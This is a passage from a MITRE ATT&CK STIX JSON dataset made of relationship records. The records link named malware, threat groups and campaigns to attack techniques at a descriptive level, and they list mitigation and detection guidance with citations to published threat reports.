2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed7582ee-c131-4525-8e69-26e9e5646328","created":"2023-02-08T00:37:30.044Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T00:37:30.044Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can inject the loader file, Speech02.db, into a process.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed821f5e-9527-4fbb-ae76-37a79592dfb6","type":"relationship","created":"2020-03-02T18:49:28.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-27T17:57:28.614Z","description":"Anti-virus can automatically quarantine suspicious files.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed8a6815-fd13-4e73-9b17-6b4025c0861c","type":"relationship","created":"2019-01-30T15:19:14.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.647Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can capture screenshots of the victim’s machines.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-17T02:10:14.735Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) has commands to list drives on the victim machine and to list file information for a given directory.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed8cf613-63f8-4f50-be4d-f73aba6a3467","created":"2024-07-12T19:18:36.846Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T19:18:36.846Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) performs a variety of system checks to determine if it is running in an analysis environment or sandbox, such as checking the number of processors (must be greater than two), and the amount of RAM (must be greater than 2GB).(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed91791b-8e5a-4e0c-b77c-6fad78be7378","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:33.031Z","description":"There is a variant of [RATANKBA](https://attack.mitre.org/software/S0241) that uses a PowerShell script instead of the traditional PE form.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed94edc7-e687-409e-9143-20a15190bd83","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}],"modified":"2020-06-02T21:49:34.973Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) has used HTTP for C2.(Citation: Palo Alto Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed98718b-d701-4009-99c3-94ba3f4ba6c0","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor executed commands and arguments for actions that may target an Exchange server, Office 365, or Google Workspace to collect sensitive information.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed9b40ef-51ff-4263-a99e-5c95bae3e17d","type":"relationship","created":"2020-02-04T13:03:03.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T13:03:03.632Z","relationship_type":"revoked-by","source_ref":"attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8","target_ref":"attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed9cb2bb-5c45-45f1-a0d5-4458609a5ab5","created":"2024-03-01T15:46:42.487Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T15:46:42.487Z","description":"Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda15dd3-2e7d-470c-8b1d-227c7d877e67","type":"relationship","created":"2021-06-21T13:17:56.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T13:17:56.497Z","description":"[Ecipekac](https://attack.mitre.org/software/S0624) can download additional payloads to a compromised host.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda172f0-188d-4ca6-9a10-a90786127b68","type":"relationship","created":"2020-09-29T15:45:28.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"PWC WellMess C2 August 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html","description":"PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-10-09T15:31:13.945Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can use HTTP and HTTPS in C2 communications.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda182e5-ad1a-466b-8ede-664a2c778076","type":"relationship","created":"2020-05-26T17:14:42.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.966Z","description":"(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda23a3d-a1d0-4e98-85fc-5ac083f53f5c","type":"relationship","created":"2020-01-13T16:33:20.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-13T16:33:20.772Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda49ac0-3077-4bff-9b30-44f527914e9c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.004Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda4c39d-9615-4c5f-8086-64150137df7f","type":"relationship","created":"2021-10-07T16:37:51.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}],"modified":"2021-10-07T16:37:51.341Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has injected malicious code into a new svchost.exe process.(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda69379-85f5-4512-aadc-ed7f5d2883bf","type":"relationship","created":"2020-06-10T17:50:30.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.184Z","description":"[ABK](https://attack.mitre.org/software/S0469) has the ability to use [cmd](https://attack.mitre.org/software/S0106) to run a Portable Executable (PE) on the compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda8746d-ef63-450b-ab75-c2c97d94db44","type":"relationship","created":"2020-06-08T18:06:36.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T18:06:36.371Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to capture keystrokes on an infected host.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","source_name":"ESET Sednit Part 1"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"}],"modified":"2020-03-20T16:40:41.160Z","description":"The [JHUHUGIT](https://attack.mitre.org/software/S0044) dropper can delete itself from the victim. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant has the capability to delete specified files.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edaeb27a-9226-4805-ae45-87312a2dc013","type":"relationship","created":"2021-05-17T17:23:57.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T12:39:56.533Z","description":"Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a","type":"relationship","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2019-12-20T14:26:00.560Z","description":"[APT28](https://attack.mitre.org/groups/G0007) uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted.(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--edb47407-d848-4b72-abe6-9815aeaaaf37","created":"2023-09-27T14:35:49.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:09:49.322Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) loaded [BlackEnergy](https://attack.mitre.org/software/S0089) into svchost.exe, which then launched iexplore.exe for their C2. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--edb83e19-bc71-455e-bf38-4ab5c823ebc8","created":"2020-08-31T14:56:42.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.736Z","description":"[Valak](https://attack.mitre.org/software/S0476) has been delivered via malicious links in e-mail.(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edb9e1fa-5862-464e-8d71-5e17b27f6bfc","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for changes made to files for unexpected modifications to internal and external websites for unplanned content changes.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edbd751e-29ad-419f-a3ff-9d210453351d","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.857Z","description":"[Reaver](https://attack.mitre.org/software/S0172) collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edbdc10d-a3d6-46f8-9354-ba06995dce08","type":"relationship","created":"2020-10-20T19:26:05.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - AAA","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#38","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2021-07-26T15:57:50.900Z","description":"Use of Authentication, Authorization, and Accounting (AAA) systems will limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse. TACACS+ can keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization(Citation: Cisco IOS Software Integrity Assurance - AAA) (Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--818302b2-d640-477b-bf88-873120ce85c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edbfcc84-4096-4839-b5eb-5025b70ccaca","type":"relationship","created":"2021-07-22T22:46:31.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA and ASD Detect and Prevent Web Shells 2020","url":"https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF","description":"NSA and ASD. (2020, April 3). Detect and Prevent Web Shell Malware. Retrieved July 23, 2021."}],"modified":"2022-04-01T17:11:01.149Z","description":"Enforce the principle of least privilege by limiting privileges of user accounts so only authorized accounts can modify and/or add server software components.(Citation: NSA and ASD Detect and Prevent Web Shells 2020)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--edcd7a59-f8e0-41e5-b0f5-8d348fa13a10","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","source_name":"PTSecurity Cobalt Group Aug 2017"},{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","source_name":"PTSecurity Cobalt Dec 2016"},{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 